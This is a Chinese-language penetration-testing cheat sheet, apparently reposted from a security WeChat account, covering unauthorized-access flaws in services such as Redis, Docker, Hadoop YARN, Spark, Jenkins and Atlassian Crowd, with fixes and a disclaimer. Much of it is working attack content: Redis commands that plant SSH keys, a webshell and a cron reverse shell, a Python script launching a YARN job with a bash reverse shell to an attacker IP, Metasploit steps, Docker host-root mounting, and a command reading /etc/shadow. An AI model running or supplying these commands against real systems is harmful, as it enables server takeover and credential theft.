MongoDB未授权访问漏洞 27017
环境部署:
docker search mongodb # 从Docker Hub查找镜像 docker pull mongo #从镜像仓库中拉取或者更新指定镜像 docker images mongo #列出本地主机上的mongo镜像 docker run -d -p 27017:27017 --name mongodb mongo # 创建一个新的容器并运行一个命令 docker ps # 显示正在运行的容器
验证:
nmap -p 27017--script mongodb-info <ip> Redis 未授权访问漏洞 6379
环境部署:
下载源码压缩包 wget http://download.redis.io/releases/redis-3.2.11.tar.gz 解压 tar zxvf redis-3.2.11.tar.gz 进入压缩目录 cd redis-3.2.11 编译 make #编译成功后进入src目录并将redis-server和redis-cli拷贝到/usr/bin目录下,并将redis.conf复制到/etc/ 紧接着编辑redis.conf vim /etc/redis.conf 注释 bind 127.0.0.1或者改成0.0.0.0 protected-mode no
漏洞利用:
利用方式1:利用ssh公钥
ssh-keygen -t rsa 现在kali创建一个公钥和私钥 (echo "nn";cat /root/.ssh/id_rsa.pub)>test.txt 公钥需要加两个换行 cat test.txt | /Black/redis/redis-cli -h 152.136.186.111 -x set crack 将公钥写入redis 连接到redis redis-cli -h ip config get dir 查看redis备份路径 config set dir /root/.ssh 更改redis备份路径为ssh公钥存放目录 config set dbfilename authorized_keys 设置上传公钥的备份文件名字为authorized_keys save quit 保存退出
通过私钥免密连接 ssh -i id_rsa [email protected]
利用方式2:写入webshell
#连接redis redis-cli -h 192.168.52.251 #设置备份文件路径为网站根目录 config set dir /var/www/html/ #设置备份文件名为shell.php config set dbfilename shell.php #随便设置一个键,值为一句话马(我下面测试用的phpinfo) set shell "<?php phpinfo();?>" #然后保存 save
利用方式3:反弹shell
config set dir /var/spool/cron config set dbfilename root set xx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.52.128/4444 0>&1nn" save
利用方式4:Redis 4.x/5.x 主从复制导致的命令执行
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。 正常连接redis,然后将备份目录设置成root目录,会提示权限不足 下载exp脚本:https://github.com/n0b0dyCN/redis-rogue-server #先编译exp cd RedisModulesSDK/exp/ make #利用 python redis-rogue-server.py --rhost 192.168.52.251 --lhost 192.168.52.128 --lport 4444
Memcached 未授权访问漏洞 11211
漏洞扫描:
nmap -sV -p11211 --script memcached-info 192.168.96.128
漏洞利用:
telnet 192.168.96.128 11211 nc -vv 192.168.96.128 11211
Jboss未授权访问漏洞 8080
环境搭建:vulhub上的CVE-2017-7504
利用方法1:
访问/jmx-console/ 默认admin admin登录 找到 flavor=URL,type=DeploymentScanner 点击
上传war包 需要远程服务器
生成war
jar cvf shell.war jsp一句话.jsp
利用方法2:
使用脚本:https://github.com/joaomatosf/jexboss VNC未授权访问漏洞 5900 5901 使用使用VNC Viewer 进行漏洞利用
Docker未授权访问漏洞 2375
端口:2375
漏洞验证:ip:2375/info
查看images列表 ip:2375/images/json
通过docker client使用-H参数连接目标主机的docker,并使用ps -a命令查询目标系统运行的所有容器
docker -H tcp://10.1.1.200 ps -a #列出所有容器
首先docker client连接目标,ps -a 查看哪些容器已经停止
通过start命令启动一个已经停止的容器
利用方式1:
新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/mnt目录下(需要root权限启动docker) docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba(镜像id) 2) 也可以使用docker命令创建一个busybox容器,并将宿主机的磁盘挂载到容器中(此过程需联网,实验室暂时无法完成)
docker -H tcp://10.1.1.200:2375 run -it -v /:/mnt busybox chroot /mnt sh
docker未授权写ssh公钥获得shell:
1)启动一个容器,挂载宿主机的/mnt目录(上一步骤已挂载),之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。
2)首先kali生成id_rsa公钥:ssh-keygen -t rsa
将生成公钥写入到目标/root/.ssh/authorized_keys文件中
利用方式2:
docker未授权写定时任务获得shell
Rsync未授权访问漏洞 873
端口:873
kali连接rsync:
rsync rsync://ip:873
检测方式
#使用rsync上传文件:
rsync 1.txt rsync://ip:873/src/home/
#使用rsync下载文件:不加-av也可以下载
rsync -av rsync://ip:873/src/etc/passwd ./
-a:archive,归档模式,表示以递归方式传输文件,并保持所有文件属性
-v:verbose,详细模式输出
利用方法:
#通过写cron任务反弹shell:先下载任务计划文件:
rsync -av rsync://ip:port/src/etc/crontab crontab.txt
漏洞修复
● 隐藏掉 module 信息:修改配置文件 list =false。
● 权限控制:不需要写入权限的 module 的设置为只读 Read only = true;
● 网络访问控制:使用安全组策略或白名单限制,只允许必要访问的主机访问;
● 账户认证:只允许指定的用户利用指定的密码使用 rsync 服务;
● 数据加密传输:Rsync 默认没有直接支持加密传输,如果需要 Rsync 同步重要性很高的数据,可以使用 ssh;
FTP未授权访问漏洞 21
端口21 ftp://ip:port
LDAP未授权访问 389
端口 389
LDAP中文全称为:轻型目录访问协议(Lightweight Directory Access Protocol),默认使用389, LDAP 底层一般使用 TCP 或 UDP 作为传输协议。目录服务是一个特殊的数据库,是一种以树状结构的目录数据库为基础。未对LDAP的访问进行密码验证,导致未授权访问。
可以使用ldapbrowser工具直接连接,获取目录内容。
ldapbrowser下载:https://ldapbrowserwindows.com/
漏洞修复
● 修改ldap的acl,禁止匿名访问。
● 根据业务设置ldap访问白名单或黑名单;
ZooKeeper 未授权访问(2181)
ZooKeeper 是一个分布式的开放源码的分布式应用程序协调服务,ZooKeeper 默认开启在 2181 端口在未进行任何访问控制的情况下攻击者可通过执行 envi 命令获得系统大量的敏感信息包括系统名称Java 环境,任意用户在网络可达的情况下进行为未授权访问并读取数据甚至 kill 服务。
echo envi|nc 192.168.131.128 2181
# 获取服务器环境信息:
echo stat |nc 192.168.131.128 2181
漏洞修复
● 为ZooKeeper配置相应的访问权限;
● 设置防火墙策略;
● 禁止把Zookeeper直接暴露在公网;
Docker Registry未授权(5000)
默认5000端口,docker remote api可以执行docker命令,该接口是目的是取代docker 命令界面,通过url操作docker。
安全建议
1、设置ACL,只允许信任ip连接对应端口
2、开启TLS,使用生成的证书进行认证
Kibana 未授权访问(5601)
Kibana如果允许外网访问,没有做安全的登录认证,也会被外部随意访问查看所有的数据,造成少数据泄露。
直接访问kibana的页面
http://192.168.126.130:5601/
https://192.168.126.130/app/kibana#
http://192.168.126.130:5601/app/kibana#/
无需账号密码可以登录进入界面
漏洞修复
● 设置kibana监听本地地址,并设置ElasticSearch登录的账号和密码;
● 设置防火墙策略,限定IP访问服务;
CouchDB 未授权访问(5984)
Apache CouchDB 是一个开源数据库,默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。
curl 192.168.126.130:5984
curl 192.168.126.130:5984/_config
漏洞修复
指定CouchDB绑定的IP (需要重启CouchDB才能生效)在
/etc/couchdb/local.ini文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。 注:修改后只有本机才能访问CouchDB。
设置访问密码(需要重启CouchDB才能生效)在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码。
设置WWW-Authenticate,强制认证。
Apache Spark 未授权访问(6066、8081、8082)
Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。该漏洞的本质是未授权用户可以向Master节点提交一个应用,Master节点会分发给Slave节点执行应用。如果应用中包含恶意代码,会导致任意代码执行,威胁Spark集群整体的安全性。
使用msf工具getshell
msf5>use exploit/linux/http/spark_unauth_rce msf5>set payload java/meterpreter/reverse_tcp msf5>set rhost 192.168.100.2 msf5>set rport 6066 msf5>set lhost 192.168.100.1 msf5>set lport 4444 msf5>set srvhost 192.168.100.1 msf5>set srvport 8080 msf5>exploit
漏洞修复
● 对外关闭敏感端口;
● 配置用户权限认证;
Weblogic 未授权访问(7001)
Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台。
CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
攻击者可以构造特殊请求的URL,即可未授权访问到管理后台页面:
http://192.168.126.130:7001/console/css/%252e%252e%252fconsole.portal
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。
HadoopYARN 未授权访问(8088)
Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的MapReduce算法进行分布式处理,Yarn是Hadoop集群的资源管理系统。
此次事件主要因HadoopYARN资源管理系统配置不当,导致可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可通过RESTAPI部署任务来执行任意指令,最终完全控制服务器。
没有配置身份认证,可以未授权访问到Hadoop YARN ResourceManager WebUI页面。
http://192.168.126.130:8088/
http://192.168.126.130:8088/cluster
rce.py
#!/usr/bin/env python import requests target = 'http://192.168.126.130:8088/' # 设置目标主机的ip地址 lhost = '192.168.126.128' # 设置你攻击主机的监听ip地址,并且监听端口为9999 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)
kali机
nc -lcx 9999
漏洞修复
● 升级Hadoop到x版本以上,并启用Kerberos认证功能,禁止匿名访问;
● 设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口;
● 如无必要,关闭 Hadoop Web 管理页面;
Jenkins 未授权访问(8080)
默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。
直接通过url输入以下地址,若能访问,证明存在未授权访问漏洞。
http://target:8080/manage
http://target:8080/script
println 'whoami'.execute().text
漏洞修复
● 对后台控制页面做登录验证限制;
● 升级Jenkins至新版本;
● 禁止把Jenkins直接暴露在公网;
Kubernetes Api Server 未授权(8080、10250)
Kubernetes 的服务在正常启动后会开启两个端口:Localhost Port (默认8080)、Secure Port (默认6443)。这两个端口都是提供 Api Server 服务的,一个可以直接通过 Web 访问,另一个可以通过 kubectl 客户端进行调用。如果运维人员没有合理的配置验证和权限,那么攻击者就可以通过这两个接口去获取容器的权限。
直接访问web端口查看数据
漏洞修复
● 进行授权认证;
● 使用Service Account令牌;
● 设置防火墙策略,限定IP访问服务;
Active MQ 未授权访问(8161)
ActiveMQ 是一款流行的开源消息服务器。默认情况下,ActiveMQ 服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。
默认密码:admin/admin
漏洞修复
针对未授权访问,可修改conf/jetty.xml文件,bean id为securityConstraint下的authenticate修改值为true,重启服务即可。
针对弱口令,可修改conf/jetty.xml文件,bean id 为securityLoginService下的conf值获取用户properties,修改用户名密码,重启服务即可。
Jupyter Notebook 未授权访问(8888)
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。
访问http://your-ip:8888,将看到Jupyter Notebook的Web管理界面,并没有要求填写密码。
选择 new -> terminal 即可创建一个控制台:
直接执行任意命令:
漏洞修复
● 开启身份验证,防止未经授权用户访问;
● 访问控制策略,限制IP访问,绑定固定IP;
Elasticsearch 未授权访问(9200、9300)
Elasticsearch是一款java编写的企业级搜索服务。越来越多的公司使用ELK作为日志分析,启动此服务默认会开放9200端口或者9300端口,可被非法操作数据。
浏览器访问测试命令
http://localhost:9200
http://localhost:9200/_cat/
http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search //查看数据库敏感信息
http://localhost:9200/_nodes //查看节点数据
如有安装head插件:
http://localhost:9200/_plugin/head/ //web管理界面
漏洞修复
● 访问控制策略,限制IP访问,绑定固定IP;
● 在config/elasticsearch.yml中为9200端口设置认证等;
Zabbix 未授权访问(10051)
zabbix是一款服务器监控软件,默认服务开放端口为10051,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。
无需账户密码直接访问zabbix页面
漏洞修复
● 设置zabbix的复杂口令,不要用默认口令或弱口令,禁用guest登录功能;
● zabbix的server和agent都不要以root启动,不要设置AllowRoot=1;
● 禁止agent执行run,不要设置EnableRemoteCommands=1;
RabbitMQ 未授权访问(15672、15692、25672)
RabbitMQ是目前非常热门的一款消息中间件,基于AMQP协议的,可以在发布者和使用者之间交换异步消息。消息可以是人类可读的JSON,简单字符串或可以转换为JSON字符串的值列表。
默认账号密码都是guest
http://10.10.4.89:15672
http://10.10.4.89:15692
http://10.10.4.89:25672
漏洞修复
● 修改为强密码,删除默认的账号guest;
● 禁止对外网开放,仅限于内部访问;
NFS 未授权访问(2049、20048)
Network File System(NFS),是由SUN公司研制的UNIX表示层协议(pressentation layer protocol),能使使用者访问网络上别处的文件就像在使用自己的计算机一样。服务器在启用nfs服务以后,由于nfs服务未限制对外访问,导致共享目录泄漏。
#linux安装nfs客户端 apt install nfs-common #查看nfs服务器上的共享目录 showmount -e 192.168.126.130 #挂载相应共享目录到本地 mount -t nfs 192.168.126.130:/grdata /mnt #卸载目录 umount /mnt
漏洞修复
● 利用iptables限制端口2049和20048端口的访问,禁止外部访问;
● 设置/etc/exports,对访问进行控制;
Dubbo 未授权访问(28096)
Dubbo是阿里巴巴公司开源的一个高性能优秀的 服务框架,使得应用可通过高性能的 RPC 实现服务的输 出和输入功能,可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。
连接进入dubbo 服务,进行操作
telent IP port
漏洞修复
● 配置dubbo认证;
● 设置防火墙策略,限定IP访问;
Druid 未授权访问
Druid是阿里巴巴数据库出品的,为监控而生的数据库连接池,并且Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控,首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问。
直接在网站的url中后加上:
/druid/index.html
/druid/websession.html
/druid/datasource.html
/druid/sql.html
/druid/spring.html
如果可以无需登录,即可登录到Druid监控界面,则说明该网站存在Druid未授权访问漏洞
漏洞修复
● 配置访问账号密码;
● 禁止对外网开放访问;
Solr 未授权访问
Solr是一个高性能,采用Java开发,基于Lucene的全文搜索服务器。solr的管理界面通常包含如下信息:solr的配置信息(包括路径,用户名,系统版本信息),数据库的配置信息(地址,用户名,密码),数据库搜索数据等。solr未授权访问的危害很大,轻则可查询所有数据库信息,重则可读取系统任意文件,甚至getshell。
漏洞检测
敏感目录扫描时加上一条 /solr/admin
http://xx.xx.com/solr/admin
https://xx.xx.com/solr/admin
漏洞修复
● 配置solr访问控制权限;
● 禁止将solr暴露在公网;
SpringBoot Actuator 未授权访问
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至服务器被接管的事件发生。
漏洞检测
1、直接访问相关路径:
http://10.2.20.48/actuator/autoconfig
http://10.2.20.48 /actuator/env
http://10.2.20.48/actuator/dump
http://10.2.20.48/actuator/headdump
2、actuator未直接部署在IP根目录下
使用burpsuite的插件:APIKit
介绍:https://www.bilibili.com/read/cv15912732
介绍:https://blog.csdn.net/qq_50854790/article/details/122894291
漏洞修复
● 禁用/env接口;
● 升级到SpringBoot Actuator 2.0;
● 禁止对外开放;
SwaggerUI未授权访问漏洞
Swagger 是一个规范且完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。
1、可利用未授权访问漏洞,直接访问以下链接(目录遍历)
/api
/api-docs
/api-docs/swagger.json
/api.html
/api/api-docs
/api/apidocs
/api/doc
/api/swagger
/api/swagger-ui
/api/swagger-ui.html
/api/swagger-ui.html/
/api/swagger-ui.json
/api/swagger.json
/api/swagger/
/api/swagger/ui
/api/swagger/ui/
/api/swaggerui
/api/swaggerui/
/api/v1/
/api/v1/api-docs
/api/v1/apidocs
/api/v1/swagger
/api/v1/swagger-ui
/api/v1/swagger-ui.html
/api/v1/swagger-ui.json
/api/v1/swagger.json
/api/v1/swagger/
/api/v2
/api/v2/api-docs
/api/v2/apidocs
/api/v2/swagger
/api/v2/swagger-ui
/api/v2/swagger-ui.html
/api/v2/swagger-ui.json
/api/v2/swagger.json
/api/v2/swagger/
/api/v3
/apidocs
/apidocs/swagger.json
/doc.html
/docs/
/druid/index.html
/graphql
/libs/swaggerui
/libs/swaggerui/
/spring-security-oauth-resource/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/sw/swagger-ui.html
/swagger
/swagger-resources
/swagger-resources/configuration/security
/swagger-resources/configuration/security/
/swagger-resources/configuration/ui
/swagger-resources/configuration/ui/
/swagger-ui
/swagger-ui.html
/swagger-ui.html
/swagger-ui.html/
/swagger-ui.json
/swagger-ui/swagger.json
/swagger.json
/swagger.yml
/swagger/
/swagger/index.html
/swagger/static/index.html
/swagger/swagger-ui.html
/swagger/ui/
/Swagger/ui/index
/swagger/ui/index
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/template/swagger-ui.html
/user/swagger-ui.html
/user/swagger-ui.html/
/v1.x/swagger-ui.html
/v1/api-docs
/v1/swagger.json
/v2/api-docs
/v3/api-docs
2、swagger-ui未直接部署在IP根目录下
使用burpsuite的插件:APIKit
介绍:https://www.bilibili.com/read/cv15912732
介绍:https://blog.csdn.net/qq_50854790/article/details/122894291
修复方法
设置访问权限
Harbor未授权添加管理员漏洞
Harbor未授权添加任意管理员漏洞。攻击者可通过构造特定的字符串,在未授权的情况下直接创建管理员账号,从而接管Harbor镜像仓库。
漏洞地址:http://10.101.20.111/harbor/sign-in
成功添加用户,
宝塔phpmyadmin未授权访问
宝塔Linux面板7.4.2版本和Windows面板6.8版本存在phpmyadmin未授权访问漏洞
phpmyadmin未鉴权,可通过特定地址直接登录数据库的漏洞。
漏洞检测
1、目录扫描:/pma 或者 /phpmyadmin
2、漏洞URL:http://ip:888/pma
即可直接登录(但要求必须安装了phpmyadmin)
WordPress未授权访问漏洞
漏洞复现
可参考
https://www.cnblogs.com/bflw/p/12342845.html
Atlassian Crowd 未授权访问
Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。
Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。
漏洞利用脚本github地址:
https://github.com/jas502n/CVE-2019-11580
git clone https://github.com/jas502n/CVE-2019-11580
cd CVE-2019-11580/
python CVE-2019-11580.py http://192.168.18.138:8095
curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow
漏洞修复
设置访问/crowd/admin/uploadplugin.action的源ip。
升级最新版本(3.5.0以上)。
来源:https://xz.aliyun.com/t/12582
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
学习更多渗透技能!体验靶场实战练习
(hack视频资料及工具)
(部分展示)
往期推荐
原文始发于微信公众号(白帽子左一):常见未授权漏洞访问汇总
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论